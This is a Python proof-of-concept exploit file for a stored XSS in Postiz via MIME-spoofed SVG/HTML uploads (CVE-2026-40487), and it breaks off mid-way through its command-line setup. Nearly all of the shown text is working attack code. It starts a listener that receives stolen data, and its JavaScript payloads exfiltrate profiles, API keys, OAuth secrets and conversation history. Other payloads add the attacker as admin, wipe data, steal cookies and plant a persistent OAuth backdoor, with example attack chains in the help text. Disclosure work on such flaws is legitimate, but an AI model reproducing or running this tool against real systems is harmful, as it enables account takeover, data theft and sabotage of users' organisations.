Files
astaruf-cve-2026-40487/poc.py
T
Lorenzo Anastasi 191c8b663d Add files via upload
2026-04-15 08:39:58 -04:00

1288 lines
52 KiB
Python

#!/usr/bin/env python3
# Postiz Stored XSS via MIME-Spoofed File Upload
# CVE-2026-40487 | Affected: <= 2.21.5 | Fixed: 2.21.6 | CVSS 3.1: 8.9 High
# CWE-345 / CWE-434 / CWE-79
# Usage: see --help
import argparse
import http.server
import json
import sys
import textwrap
import threading
import urllib.parse
from datetime import datetime
try:
import requests
except ImportError:
sys.exit("[!] Missing dependency: requests. Install it with pip install requests")
# ====================================================================
# Constants and colour helpers
# ====================================================================
# ANSI escape sequences for terminal colouring
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
# Module-level proxy configuration (set from --proxy in main)
PROXIES = {}
VERIFY_SSL = True
def _c(colour, text):
"""Wrap *text* in an ANSI colour sequence."""
return f"{colour}{text}{RESET}"
def info(msg):
print(f"{_c(YELLOW, '[*]')} {msg}")
def success(msg):
print(f"{_c(GREEN, '[+]')} {msg}")
def error(msg):
print(f"{_c(RED, '[!]')} {msg}")
def banner():
print(f"""{RED}
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
{RESET}
{_c(YELLOW, 'Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload')}
""")
# ====================================================================
# Attack registry
# ====================================================================
#
# Each entry maps a CLI name to a human-readable description and a
# category tag used for grouping in --help output.
ATTACKS = {
# -- Exfiltration (read) ------------------------------------------
"dump-self": ("Exfiltrate victim profile, org, API key", "exfil"),
"dump-integrations": ("Exfiltrate connected social media integrations", "exfil"),
"dump-posts": ("Exfiltrate scheduled and draft posts", "exfil"),
"dump-team": ("Exfiltrate team members, roles, and emails", "exfil"),
"dump-media": ("Exfiltrate media library listing", "exfil"),
"dump-notifications": ("Exfiltrate notification history", "exfil"),
"dump-signatures": ("Exfiltrate post signatures", "exfil"),
"dump-webhooks": ("Exfiltrate configured webhooks and their URLs", "exfil"),
"dump-oauth-app": ("Exfiltrate OAuth app credentials (clientId, secret)", "exfil"),
"dump-copilot": ("Exfiltrate AI copilot conversation threads", "exfil"),
"dump-billing": ("Exfiltrate billing and subscription information", "exfil"),
"dump-personal": ("Exfiltrate personal details (name, bio, picture)", "exfil"),
"dump-settings": ("Exfiltrate shortlink and notification settings", "exfil"),
"dump-third-party": ("Exfiltrate third-party integration configs", "exfil"),
"dump-autopost": ("Exfiltrate autopost rules", "exfil"),
"dump-sets": ("Exfiltrate content sets", "exfil"),
"dump-tags": ("Exfiltrate post tags", "exfil"),
"dump-customers": ("Exfiltrate customer list", "exfil"),
"full-dump": ("Exfiltrate everything in a single payload", "exfil"),
# -- Privilege escalation -----------------------------------------
"add-admin": ("Invite attacker as ADMIN into victim org", "privesc"),
"rotate-key": ("Rotate org API key, exfiltrate the new one", "privesc"),
"rotate-oauth": ("Rotate OAuth app secret, exfiltrate it", "privesc"),
# -- Sabotage (availability / integrity) --------------------------
"kill-notifications": ("Disable all email notifications for the victim", "sabotage"),
"edit-profile": ("Modify victim's display name and bio", "sabotage"),
"wipe-signatures": ("Delete all post signatures", "sabotage"),
"wipe-webhooks": ("Delete all configured webhooks", "sabotage"),
"wipe-tags": ("Delete all post tags", "sabotage"),
"wipe-sets": ("Delete all content sets", "sabotage"),
"wipe-autopost": ("Delete all autopost rules", "sabotage"),
"logout-victim": ("Force-logout the victim (invalidate session)", "sabotage"),
"delete-oauth-app": ("Delete the victim's OAuth application", "sabotage"),
# -- Backdoor (persistence) ---------------------------------------
"create-oauth-app": ("Create OAuth app, auto-approve, exfil token (persistent backdoor)", "backdoor"),
"steal-cookie": ("Steal auth cookie via document.cookie (NOT_SECURED only)", "backdoor"),
# -- Generic / advanced -------------------------------------------
"api-call": ("Arbitrary authenticated API call (--api-method, --api-path)", "generic"),
"custom": ("Execute arbitrary JavaScript (--custom-js)", "generic"),
}
# ====================================================================
# Exfiltration HTTP server
# ====================================================================
class ExfilHandler(http.server.BaseHTTPRequestHandler):
"""Minimal HTTP handler that receives stolen data and logs it."""
loot: list # class-level, set before server starts
target: str # class-level, base URL for auto token exchange
def do_GET(self):
self._handle()
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode(errors="replace") if length else ""
self._handle(body)
def do_OPTIONS(self):
self.send_response(204)
self._cors()
self.end_headers()
# -- internal helpers ---------------------------------------------
def _cors(self):
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Headers", "*")
self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
def _handle(self, post_body=None):
parsed = urllib.parse.urlparse(self.path)
qs = urllib.parse.parse_qs(parsed.query)
entry = {
"time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"path": parsed.path,
"params": {k: v[0] if len(v) == 1 else v for k, v in qs.items()},
}
if post_body:
try:
entry["body"] = json.loads(post_body)
except json.JSONDecodeError:
entry["body"] = post_body
self.__class__.loot.append(entry)
# Pretty-print to console
print(f"\n{_c(GREEN, '[+]')} Loot received @ {entry['time']}")
payload = entry.get("body") or entry["params"]
if isinstance(payload, dict):
for k, v in payload.items():
display = v
if isinstance(v, str) and len(v) > 200:
display = v[:200] + "..."
elif isinstance(v, (dict, list)):
display = json.dumps(v, indent=2, default=str)
print(f" {_c(CYAN, k)}: {display}")
else:
print(f" {payload}")
# Auto-exchange OAuth authorization code for a persistent token
self._maybe_exchange_oauth(entry)
self.send_response(200)
self._cors()
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def _maybe_exchange_oauth(self, entry):
"""If loot is an oauth-backdoor with an auth code, exchange it for a token."""
body = entry.get("body")
if not isinstance(body, dict):
return
if body.get("tag") != "oauth-backdoor":
return
data = body.get("data", {})
code = data.get("authCode")
client_id = data.get("clientId")
client_secret = data.get("clientSecret")
redirect_url = data.get("redirectUrl")
if not all([code, client_id, client_secret]):
return
target = self.__class__.target
if not target:
return
# Run in a separate thread to avoid blocking the HTTP response
threading.Thread(
target=self._do_token_exchange,
args=(target, client_id, client_secret, code, redirect_url),
daemon=True,
).start()
@staticmethod
def _do_token_exchange(target, client_id, client_secret, code, redirect_url):
"""POST /api/oauth/token to exchange the auth code for a persistent token."""
try:
r = requests.post(f"{target}/api/oauth/token", json={
"grant_type": "authorization_code",
"code": code,
"client_id": client_id,
"client_secret": client_secret,
"redirect_uri": redirect_url or "",
}, proxies=PROXIES, verify=VERIFY_SSL)
if r.status_code in (200, 201):
token_data = r.json()
token = token_data.get("access_token", token_data)
print(f"\n{_c(GREEN, '[+]')} OAuth token exchanged automatically!")
print(f" {_c(CYAN, 'access_token')}: {token}")
print(f" {_c(DIM, 'Use as: Authorization: <token> (no Bearer prefix)')}")
ExfilHandler.loot.append({
"time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"path": "/auto-exchange",
"body": {"tag": "oauth-token", "data": token_data},
})
else:
print(f"\n{_c(YELLOW, '[*]')} OAuth token exchange returned {r.status_code}: {r.text[:200]}")
except Exception as exc:
print(f"\n{_c(RED, '[!]')} OAuth token exchange failed: {exc}")
def log_message(self, *_args):
"""Suppress default request logging."""
pass
def start_exfil_server(port, target=""):
"""Launch the exfiltration listener on all interfaces in a daemon thread."""
ExfilHandler.loot = []
ExfilHandler.target = target
srv = http.server.HTTPServer(("0.0.0.0", port), ExfilHandler)
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv
# ====================================================================
# JavaScript payload building blocks
# ====================================================================
def _svg_wrapper(js_body):
"""Embed JavaScript inside an SVG file that executes on open."""
return textwrap.dedent(f"""\
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<rect width="1" height="1" fill="white"/>
<script type="text/javascript">
// <![CDATA[
{js_body}
// ]]>
</script>
</svg>""")
def _html_wrapper(js_body):
"""Embed JavaScript inside an HTML file for full-page payloads."""
return textwrap.dedent(f"""\
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body style="background:white">
<p></p>
<script>
{js_body}
</script>
</body>
</html>""")
def _exfil_js(exfil_url, tag, data_expr):
"""Return JS code that POSTs JSON data to the exfil server."""
return textwrap.dedent(f"""\
fetch("{exfil_url}", {{
method: "POST",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{tag: "{tag}", data: {data_expr}}})
}}).catch(function(){{}});""")
def _fetch_and_exfil(exfil_url, tag, endpoint, method="GET", body=None):
"""Return JS that calls an API endpoint and sends the response to exfil."""
opts = f'method: "{method}", credentials: "include"'
if body:
opts += f', headers: {{"Content-Type": "application/json"}}, body: JSON.stringify({body})'
return textwrap.dedent(f"""\
fetch("{endpoint}", {{{opts}}})
.then(function(r) {{
var ct = r.headers.get("content-type") || "";
return ct.indexOf("json") > -1 ? r.json() : r.text();
}})
.then(function(d) {{
{_exfil_js(exfil_url, tag, "d")}
}}).catch(function(){{}});""")
def _action_then_exfil(exfil_url, tag, endpoint, method, body, readback_endpoint):
"""Perform a write action, then read back and exfil the result."""
body_js = json.dumps(body) if isinstance(body, dict) else body
return textwrap.dedent(f"""\
fetch("{endpoint}", {{
method: "{method}",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({body_js})
}})
.then(function(r) {{ return r.json().catch(function() {{ return {{}}; }}); }})
.then(function(writeResult) {{
return fetch("{readback_endpoint}", {{credentials: "include"}})
.then(function(r2) {{ return r2.json(); }})
.then(function(readResult) {{
{_exfil_js(exfil_url, tag, '{action: writeResult, current: readResult}')}
}});
}}).catch(function(){{}});""")
# ====================================================================
# Payload generators, one per attack mode
# ====================================================================
# -- Exfiltration payloads -------------------------------------------
def gen_dump_self(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "victim-profile", "/api/user/self")
def gen_dump_integrations(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "integrations", "/api/integrations/list")
def gen_dump_posts(exfil_url, _args):
return textwrap.dedent(f"""\
(function() {{
var now = new Date();
var start = new Date(now.getTime() - 365*24*60*60*1000);
var end = new Date(now.getTime() + 365*24*60*60*1000);
var qs = "startDate=" + start.toISOString() + "&endDate=" + end.toISOString();
fetch("/api/posts?" + qs, {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(d) {{
{_exfil_js(exfil_url, "posts", "d")}
}}).catch(function(){{}});
}})();""")
def gen_dump_team(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "team-members", "/api/settings/team")
def gen_dump_media(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "media-library", "/api/media?page=1")
def gen_dump_notifications(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "notifications", "/api/notifications/list")
def gen_dump_signatures(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "signatures", "/api/signatures")
def gen_dump_webhooks(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "webhooks", "/api/webhooks")
def gen_dump_oauth_app(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "oauth-app", "/api/user/oauth-app")
def gen_dump_copilot(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/copilot/list", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(data) {{
var threads = data.threads || [];
{_exfil_js(exfil_url, "copilot-threads", "threads")}
var chain = Promise.resolve();
threads.forEach(function(t) {{
chain = chain.then(function() {{
return fetch("/api/copilot/" + t.id + "/list", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(messages) {{
fetch("{exfil_url}", {{
method: "POST",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{tag: "copilot-thread-" + t.id, data: {{title: t.title, messages: messages}}}})
}}).catch(function(){{}});
}});
}});
}});
return chain;
}}).catch(function(){{}});""")
def gen_dump_billing(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "billing", "/api/billing")
def gen_dump_personal(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "personal", "/api/user/personal")
def gen_dump_settings(exfil_url, _args):
return "\n".join([
_fetch_and_exfil(exfil_url, "shortlink-settings", "/api/settings/shortlink"),
_fetch_and_exfil(exfil_url, "email-notifications", "/api/user/email-notifications"),
])
def gen_dump_third_party(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "third-party", "/api/third-party")
def gen_dump_autopost(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "autopost-rules", "/api/autopost")
def gen_dump_sets(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "sets", "/api/sets")
def gen_dump_tags(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "tags", "/api/posts/tags")
def gen_dump_customers(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "customers", "/api/integrations/customers")
def gen_full_dump(exfil_url, _args):
"""Comprehensive dump: fires all read endpoints in parallel."""
endpoints = [
("victim-profile", "/api/user/self"),
("personal", "/api/user/personal"),
("organizations", "/api/user/organizations"),
("team-members", "/api/settings/team"),
("integrations", "/api/integrations/list"),
("media-library", "/api/media?page=1"),
("notifications", "/api/notifications/list"),
("signatures", "/api/signatures"),
("webhooks", "/api/webhooks"),
("oauth-app", "/api/user/oauth-app"),
("billing", "/api/billing"),
("shortlink-settings", "/api/settings/shortlink"),
("email-notifications","/api/user/email-notifications"),
("third-party", "/api/third-party"),
("autopost-rules", "/api/autopost"),
("sets", "/api/sets"),
("tags", "/api/posts/tags"),
("customers", "/api/integrations/customers"),
("approved-apps", "/api/user/approved-apps"),
]
parts = []
for tag, ep in endpoints:
parts.append(_fetch_and_exfil(exfil_url, tag, ep))
# Posts require dynamic date range
parts.append(gen_dump_posts(exfil_url, _args))
# Copilot: list threads, then fetch messages for each
parts.append(gen_dump_copilot(exfil_url, _args))
return "\n".join(parts)
# -- Privilege escalation payloads -----------------------------------
def gen_add_admin(exfil_url, args):
email = args.attacker_email
return _action_then_exfil(
exfil_url, "admin-invite",
"/api/settings/team", "POST",
{"email": email, "role": "ADMIN", "sendEmail": False},
"/api/settings/team",
)
def gen_rotate_key(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/user/api-key/rotate", {{
method: "POST", credentials: "include"
}})
.then(function() {{
return fetch("/api/user/self", {{credentials: "include"}});
}})
.then(function(r) {{ return r.json(); }})
.then(function(d) {{
{_exfil_js(exfil_url, "rotated-api-key", '{email: d.email, orgId: d.orgId, apiKey: d.publicApi}')}
}}).catch(function(){{}});""")
def gen_rotate_oauth(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/user/oauth-app/rotate-secret", {{
method: "POST", credentials: "include"
}})
.then(function(r) {{ return r.json(); }})
.then(function(secret) {{
return fetch("/api/user/oauth-app", {{credentials: "include"}})
.then(function(r2) {{ return r2.json(); }})
.then(function(app) {{
{_exfil_js(exfil_url, "oauth-rotated", '{app: app, newSecret: secret}')}
}});
}}).catch(function(){{}});""")
# -- Sabotage payloads -----------------------------------------------
def gen_kill_notifications(exfil_url, _args):
return _action_then_exfil(
exfil_url, "notifications-killed",
"/api/user/email-notifications", "POST",
{"sendSuccessEmails": False, "sendFailureEmails": False, "sendStreakEmails": False},
"/api/user/email-notifications",
)
def gen_edit_profile(exfil_url, args):
name = getattr(args, "edit_name", None) or "pwned"
bio = getattr(args, "edit_bio", None) or "Account compromised via Stored XSS"
return _action_then_exfil(
exfil_url, "profile-edited",
"/api/user/personal", "POST",
{"fullname": name, "bio": bio},
"/api/user/personal",
)
def _gen_wipe(exfil_url, list_endpoint, delete_base, tag, id_field="id"):
"""Generic wipe: list items, then delete each one."""
return textwrap.dedent(f"""\
fetch("{list_endpoint}", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(data) {{
var items = Array.isArray(data) ? data : (data.tags || data.webhooks || data.sets || data.autopost || Object.values(data).find(Array.isArray) || []);
var deleted = [];
var chain = Promise.resolve();
items.forEach(function(item) {{
chain = chain.then(function() {{
return fetch("{delete_base}/" + item.{id_field}, {{
method: "DELETE", credentials: "include"
}}).then(function() {{ deleted.push(item.{id_field}); }});
}});
}});
return chain.then(function() {{
{_exfil_js(exfil_url, tag, '{deleted: deleted, count: deleted.length}')}
}});
}}).catch(function(){{}});""")
def gen_wipe_signatures(exfil_url, _args):
return _gen_wipe(exfil_url, "/api/signatures", "/api/signatures", "signatures-wiped")
def gen_wipe_webhooks(exfil_url, _args):
return _gen_wipe(exfil_url, "/api/webhooks", "/api/webhooks", "webhooks-wiped")
def gen_wipe_tags(exfil_url, _args):
return _gen_wipe(exfil_url, "/api/posts/tags", "/api/posts/tags", "tags-wiped")
def gen_wipe_sets(exfil_url, _args):
return _gen_wipe(exfil_url, "/api/sets", "/api/sets", "sets-wiped")
def gen_wipe_autopost(exfil_url, _args):
return _gen_wipe(exfil_url, "/api/autopost", "/api/autopost", "autopost-wiped")
def gen_logout_victim(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/user/logout", {{
method: "POST", credentials: "include"
}})
.then(function() {{
{_exfil_js(exfil_url, "victim-logged-out", '"session destroyed"')}
}}).catch(function(){{}});""")
def gen_delete_oauth_app(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/user/oauth-app", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(app) {{
if (!app || app === false) {{
{_exfil_js(exfil_url, "oauth-app-delete", '"no oauth app found"')}
return;
}}
return fetch("/api/user/oauth-app", {{
method: "DELETE", credentials: "include"
}}).then(function() {{
{_exfil_js(exfil_url, "oauth-app-deleted", '{deleted: app}')}
}});
}}).catch(function(){{}});""")
# -- Backdoor payloads -----------------------------------------------
def gen_create_oauth_app(exfil_url, args):
redirect = getattr(args, "oauth_redirect", None) or "https://attacker.evil/callback"
return textwrap.dedent(f"""\
// Step 1: Delete existing OAuth app if any, then create a new one
fetch("/api/user/oauth-app", {{method: "DELETE", credentials: "include"}})
.catch(function(){{}})
.then(function() {{
return fetch("/api/user/oauth-app", {{
method: "POST",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{
name: "Postiz Integration",
description: "Social media sync",
redirectUrl: "{redirect}",
picturePath: ""
}})
}});
}})
.then(function(r) {{ return r.json(); }})
.then(function(app) {{
// Step 2: Approve the OAuth app as the victim
return fetch("/api/oauth/authorize", {{
method: "POST",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{
client_id: app.clientId,
action: "approve",
state: "xss"
}})
}})
.then(function(r2) {{ return r2.json(); }})
.then(function(authResult) {{
// Extract the authorization code from the redirect URL
var url = authResult.redirect || "";
var code = "";
var match = url.match(/code=([^&]+)/);
if (match) code = match[1];
fetch("{exfil_url}", {{
method: "POST",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{tag: "oauth-backdoor", data: {{clientId: app.clientId, clientSecret: app.clientSecret, authCode: code, redirectUrl: app.redirectUrl}}}})
}}).catch(function(){{}});
}});
}}).catch(function(){{}});""")
def gen_steal_cookie(exfil_url, _args):
return textwrap.dedent(f"""\
(function() {{
var c = document.cookie;
if (!c) {{
{_exfil_js(exfil_url, "cookie-theft-failed", '"document.cookie is empty (HttpOnly is set)"')}
return;
}}
{_exfil_js(exfil_url, "stolen-cookie", "c")}
}})();""")
# -- Generic payloads ------------------------------------------------
def gen_api_call(exfil_url, args):
method = args.api_method or "GET"
path = args.api_path
body = args.api_body
return _fetch_and_exfil(exfil_url, "api-response", path, method, body)
def gen_custom(exfil_url, args):
custom_js = args.custom_js
return textwrap.dedent(f"""\
Promise.resolve(({custom_js}))
.then(function(d) {{
if (d && typeof d.json === "function") return d.json();
return d;
}})
.then(function(result) {{
{_exfil_js(exfil_url, "custom", "result")}
}}).catch(function(){{}});""")
# Map attack names to generator functions
GENERATORS = {
"dump-self": gen_dump_self,
"dump-integrations": gen_dump_integrations,
"dump-posts": gen_dump_posts,
"dump-team": gen_dump_team,
"dump-media": gen_dump_media,
"dump-notifications": gen_dump_notifications,
"dump-signatures": gen_dump_signatures,
"dump-webhooks": gen_dump_webhooks,
"dump-oauth-app": gen_dump_oauth_app,
"dump-copilot": gen_dump_copilot,
"dump-billing": gen_dump_billing,
"dump-personal": gen_dump_personal,
"dump-settings": gen_dump_settings,
"dump-third-party": gen_dump_third_party,
"dump-autopost": gen_dump_autopost,
"dump-sets": gen_dump_sets,
"dump-tags": gen_dump_tags,
"dump-customers": gen_dump_customers,
"full-dump": gen_full_dump,
"add-admin": gen_add_admin,
"rotate-key": gen_rotate_key,
"rotate-oauth": gen_rotate_oauth,
"kill-notifications": gen_kill_notifications,
"edit-profile": gen_edit_profile,
"wipe-signatures": gen_wipe_signatures,
"wipe-webhooks": gen_wipe_webhooks,
"wipe-tags": gen_wipe_tags,
"wipe-sets": gen_wipe_sets,
"wipe-autopost": gen_wipe_autopost,
"logout-victim": gen_logout_victim,
"delete-oauth-app": gen_delete_oauth_app,
"create-oauth-app": gen_create_oauth_app,
"steal-cookie": gen_steal_cookie,
"api-call": gen_api_call,
"custom": gen_custom,
}
# ====================================================================
# Authentication helpers
# ====================================================================
def _extract_auth(resp):
"""Pull the auth token from cookies or headers."""
for cookie in resp.cookies:
if cookie.name == "auth":
return cookie.value
sc = resp.headers.get("Set-Cookie", "")
if "auth=" in sc:
return sc.split("auth=")[1].split(";")[0]
auth_hdr = resp.headers.get("auth")
if auth_hdr:
return auth_hdr
return None
def _parse_cookie_flags(response):
"""Extract security flags from the Set-Cookie header for the auth cookie."""
flags = {"httponly": False, "secure": False, "samesite": ""}
sc = response.headers.get("Set-Cookie", "")
if "auth=" not in sc:
return flags
parts = [p.strip().lower() for p in sc.split(";")]
for p in parts:
if p == "httponly":
flags["httponly"] = True
elif p == "secure":
flags["secure"] = True
elif p.startswith("samesite="):
flags["samesite"] = p.split("=", 1)[1]
return flags
def authenticate(target, email, password, register=False, company="TestOrg"):
"""Optionally register, then log in. Returns (session, auth_token, cookie_flags)."""
s = requests.Session()
s.proxies.update(PROXIES)
s.verify = VERIFY_SSL
if register:
info(f"Registering {email} ...")
r = s.post(f"{target}/api/auth/register", json={
"provider": "LOCAL",
"email": email,
"password": password,
"company": company,
})
if r.status_code == 200:
auth = _extract_auth(r)
if auth:
success("Registered and authenticated.")
return s, auth, _parse_cookie_flags(r)
success("Registered (activation may be required).")
else:
info(f"Registration returned {r.status_code}, trying login ...")
info(f"Logging in as {email} ...")
r = s.post(f"{target}/api/auth/login", json={
"provider": "LOCAL",
"email": email,
"password": password,
})
if r.status_code != 200:
error(f"Login failed ({r.status_code}): {r.text}")
sys.exit(1)
auth = _extract_auth(r)
if not auth:
error("No auth cookie in response.")
sys.exit(1)
success("Authenticated.")
return s, auth, _parse_cookie_flags(r)
# ====================================================================
# Payload upload
# ====================================================================
def upload_payload(target, auth=None, token=None, content="", extension="svg"):
"""Upload the XSS payload with a spoofed Content-Type header.
Uses the internal API with auth cookie, or the Public API v1 with
a pos_* token / API key.
"""
info(f"Uploading malicious .{extension} with Content-Type: image/png ...")
filename = f"image.{extension}"
file_tuple = ("file", (filename, content.encode(), "image/png"))
if token:
r = requests.post(
f"{target}/api/public/v1/upload",
headers={"Authorization": token},
files=[file_tuple],
proxies=PROXIES, verify=VERIFY_SSL,
)
else:
r = requests.post(
f"{target}/api/media/upload-server",
cookies={"auth": auth},
files=[file_tuple],
proxies=PROXIES, verify=VERIFY_SSL,
)
if r.status_code not in (200, 201):
error(f"Upload failed ({r.status_code}): {r.text}")
sys.exit(1)
data = r.json()
path = data.get("path", "")
success("Upload successful.")
print(f" {_c(CYAN, 'ID')}: {data.get('id')}")
print(f" {_c(CYAN, 'Path')}: {path}")
return path
# ====================================================================
# Loot persistence
# ====================================================================
def save_loot(output_path=None):
"""Dump collected loot to a JSON file."""
if not ExfilHandler.loot:
info("No loot received.")
return
dump_path = output_path or f"loot-{datetime.now().strftime('%Y%m%d-%H%M%S')}.json"
with open(dump_path, "w") as f:
json.dump(ExfilHandler.loot, f, indent=2, default=str)
success(f"Total loot entries: {len(ExfilHandler.loot)}")
success(f"Saved to {dump_path}")
# ====================================================================
# CLI
# ====================================================================
def build_parser():
epilog = textwrap.dedent("""\
How it works
============
The exploit authenticates, uploads a malicious SVG/HTML file with a
spoofed MIME type, and starts a listener. When a victim opens the
returned URL, JavaScript executes in the app's origin and performs
the chosen attack, sending stolen data back to the listener.
Authentication: --email/--password OR --token
==============================================
By default, the exploit logs in with an attacker account to upload
the payload. Alternatively, use --token with a pos_* OAuth token
or an org API key to upload via the Public API, without needing
an account at all.
Three attacks help you obtain a token for future use:
- create-oauth-app The victim's browser creates an OAuth app,
approves it, and the exploit automatically
exchanges the auth code for a persistent
pos_* token. This token never expires and
works even if the victim changes password.
- dump-self Exfiltrates the org API key (publicApi field).
- rotate-key Rotates the org API key and exfiltrates it.
Once you have a token, you can re-run the exploit with --token
to upload new payloads targeting other victims, without credentials
and without any account on the platform:
1. %(prog)s ... -e att@ck.er -p ... -a create-oauth-app
--> victim clicks --> you get pos_XXXX token
2. %(prog)s ... -t pos_XXXX -a full-dump
--> uploads new payload, sends URL to next victim
Attack modes
============
Exfiltration (read-only, steal victim data):
dump-self Victim profile, org info, tier, API key
dump-personal Display name, bio, profile picture
dump-integrations Connected social media integrations and tokens
dump-posts Scheduled and draft posts (last 365 days)
dump-team Team members, roles, and email addresses
dump-media Media library listing (uploaded files)
dump-notifications Notification history
dump-signatures Post signatures
dump-webhooks Configured webhooks and their target URLs
dump-oauth-app OAuth app credentials (clientId, clientSecret)
dump-copilot AI copilot threads and full conversation history
dump-billing Billing and subscription information
dump-settings Shortlink preferences and email notification settings
dump-third-party Third-party integration configurations
dump-autopost Autopost rules (RSS feeds, scheduling)
dump-sets Content sets
dump-tags Post tags
dump-customers Customer list
full-dump All of the above in a single payload
Privilege Escalation:
add-admin Invite attacker as ADMIN into victim's org
Requires: --attacker-email
rotate-key Rotate org API key and exfiltrate the new one
rotate-oauth Rotate OAuth app secret and exfiltrate it
Sabotage (destructive actions):
kill-notifications Disable all email notifications for the victim
edit-profile Modify victim's display name and bio
Options: --edit-name, --edit-bio
wipe-signatures Delete all post signatures
wipe-webhooks Delete all configured webhooks
wipe-tags Delete all post tags
wipe-sets Delete all content sets
wipe-autopost Delete all autopost rules
logout-victim Force-logout the victim (invalidate session cookie)
delete-oauth-app Delete the victim's OAuth application
Backdoor (persistent access):
steal-cookie Steal auth cookie via document.cookie. Only works
when NOT_SECURED=true (cookie lacks HttpOnly).
The stolen JWT never expires — permanent access.
Use --check first to verify if the cookie is exposed.
create-oauth-app Create OAuth app in victim's org, auto-approve it,
and exfiltrate clientId + clientSecret + auth code.
The exploit auto-exchanges the code for a persistent
pos_* token (printed in green). Use it with --token
to run further attacks without credentials.
Options: --oauth-redirect
Generic (advanced):
api-call Arbitrary authenticated API call as the victim
Requires: --api-path
Options: --api-method (default: GET), --api-body
custom Execute arbitrary JavaScript in victim's browser
Requires: --custom-js
Vulnerability check (--check)
=============================
Upload a benign SVG with spoofed MIME type and inspect response
headers. Reports whether the target is vulnerable without running
any attack. Does not require --lhost or --attack.
%(prog)s http://target:5000 -e att@ck.er -p S3cret! --check
%(prog)s http://target:5000 -t pos_XXXX...XXXX --check
Examples
========
# Register a throwaway account and exfiltrate everything
%(prog)s http://target:5000 --register -e att@ck.er -p S3cret! \\
-c PwnCorp --lhost 10.0.0.1 -a full-dump
# Invite attacker as org admin
%(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
--lhost 10.0.0.1 -a add-admin --attacker-email hacker@evil.com
# Get a persistent backdoor token (step 1 of the chain)
%(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
--lhost 10.0.0.1 -a create-oauth-app
# Reuse the token to attack new victims without credentials
%(prog)s http://target:5000 -t pos_XXXX...XXXX \\
--lhost 10.0.0.1 -a full-dump
# Arbitrary API call as the victim
%(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
--lhost 10.0.0.1 -a api-call --api-method POST \\
--api-path /api/user/api-key/rotate
# Route all traffic through Burp Suite
%(prog)s http://target:5000 -e att@ck.er -p S3cret! \\
--lhost 10.0.0.1 -a full-dump --proxy http://127.0.0.1:8080
""")
p = argparse.ArgumentParser(
description="Postiz Stored XSS via MIME-Spoofed File Upload",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=epilog,
)
p.add_argument("target", help="Postiz base URL (e.g. http://target:5000)")
auth = p.add_argument_group("Authentication (use --email/--password OR --token)")
auth.add_argument("--register", action="store_true",
help="Register a new account before login")
auth.add_argument("-e", "--email", help="Account email")
auth.add_argument("-p", "--password", help="Account password")
auth.add_argument("-c", "--company", default="TestOrg",
help="Company name for registration (default: TestOrg)")
auth.add_argument("-t", "--token",
help="OAuth token (pos_*) or API key, uploads via Public API (no account needed)")
atk = p.add_argument_group("Attack")
atk.add_argument("-a", "--attack", choices=sorted(ATTACKS.keys()),
metavar="MODE", help="Attack mode (see list below)")
atk.add_argument("--check", action="store_true",
help="Probe if the target is vulnerable (upload benign SVG, check response headers). "
"Does not require --lhost or --attack.")
atk.add_argument("--attacker-email",
help="Email for add-admin mode")
atk.add_argument("--api-method", default="GET",
